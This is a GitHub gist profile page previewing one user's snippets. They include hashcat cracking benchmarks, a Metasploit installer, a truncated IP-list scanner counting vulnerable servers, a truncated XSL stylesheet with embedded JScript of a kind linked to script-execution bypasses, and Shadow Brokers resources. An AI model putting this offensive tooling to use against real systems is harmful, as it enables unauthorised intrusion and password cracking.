Skip to content

Instantly share code, notes, and snippets.

View iam1980's full-sized avatar

Iraklis Mathiopoulos iam1980

View GitHub Profile
@iam1980
iam1980 / resources.md
Last active August 16, 2023 18:55
Shadow Brokers EQGRP Lost in Translation resources
ubuntu@ip-172-31-35-204:~/hashcat-4.0.0$ sudo ./hashcat64.bin -b
hashcat (v4.0.0) starting in benchmark mode...
Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.
nvmlDeviceGetFanSpeed(): Not Supported
@iam1980
iam1980 / windows10_bashrc
Created June 10, 2017 09:33
.bashrc windows 10
LS_COLORS='rs=0:di=1;35:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*
#!/bin/bash
sudo apt-get update -yq
sudo apt-get install -yq build-essential linux-headers-$(uname -r) unzip p7zip-full linux-image-extra-virtual
sudo apt-get install -yq python3-pip
pip3 install psutil
sudo touch /etc/modprobe.d/blacklist-nouveau.conf
sudo bash -c "echo 'blacklist nouveau' >> /etc/modprobe.d/blacklist-nouveau.conf"
sudo bash -c "echo 'blacklist lbm-nouveau' >> /etc/modprobe.d/blacklist-nouveau.conf"
sudo bash -c "echo 'options nouveau modeset=0' >> /etc/modprobe.d/blacklist-nouveau.conf"
import subprocess
f = open('ips.txt', 'r')
flines = f.readlines()
vulnsrvs = 0
i = 1
for line in flines:
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
function i() {
var a = "";
@iam1980
iam1980 / gist:d0d129e1fc4303b1b474de17859fe073
Created October 5, 2016 08:40
AWS p2.x16large hashcat 3.10 benchmark
How to get hashcat running in AWS p2.x16large: https://medium.com/@iraklis/running-hashcat-in-amazons-aws-new-16-gpu-p2-16xlarge-instance-9963f607164c#.tsuom18k4
ubuntu@ip-172-31-20-210:~/hashcat-3.10$ sudo ./hashcat64.bin -b
hashcat (v3.10) starting in benchmark-mode...
OpenCL Platform #1: NVIDIA Corporation
======================================
- Device #1: Tesla K80, 2879/11519 MB allocatable, 13MCU
- Device #2: Tesla K80, 2879/11519 MB allocatable, 13MCU
- Device #3: Tesla K80, 2879/11519 MB allocatable, 13MCU
@iam1980
iam1980 / msf_vps_installer.sh
Last active September 3, 2016 18:15
Metasploit installer for Debian (Jessie)
#!/bin/bash
#
# Metasploit installer for Debian (Jessie) VPS.
# works out of the box on new 8.5 Debian servers.
#
# Do not run as root, RVM bundle will not work. Add a user, login with that user, and then run this script.
# Metasploit requires the following packages:
#
# apt-get -y install autoconf bison build-essential curl git-core libapr1 libaprutil1 libcurl4-openssl-dev libgmp3-dev libpcap-dev libpq-dev libreadline6-dev libsqlite3-dev libssl-dev libsvn1 libtool libxml2 libxml2-dev libxslt-dev libyaml-dev locate ncurses-dev openssl wget xsel zlib1g zlib1g-dev
#
@iam1980
iam1980 / abuseEmail-1.1.3.pl
Created January 26, 2013 12:09
Updated abuseEmail (author: Guillaume Filion - guillaume@filion.org http://abuseemail.sourceforge.net/) with the new reserved IP ranges.
#!/usr/bin/perl
#
# abuseEmail v1.1.2
# Finds out abuse email addresses for a specified IP address
# http://logidac.com/abuseEmail/
#
# Created by Guillaume Filion <guillaume@filion.org>
# Copyright (C) 2001 Logidac enr.
# 16 Charles-Couillard
# Beaumont, Quιbec